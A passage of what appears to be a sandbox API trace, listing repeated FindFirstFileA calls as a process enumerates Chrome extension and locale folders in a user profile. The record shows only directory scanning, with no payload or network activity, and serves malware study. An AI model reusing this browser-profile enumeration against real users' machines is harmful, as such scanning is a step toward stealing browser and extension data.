ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.817] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.818] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.821] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.821] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.821] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.822] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xab, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.822] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.822] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.823] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.823] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.824] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.824] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.824] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.825] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.825] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.825] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.826] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.826] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.827] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.827] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.827] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.867] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.867] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.868] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.868] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.869] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.869] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.869] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.870] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.870] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.870] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.871] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.871] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.872] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application 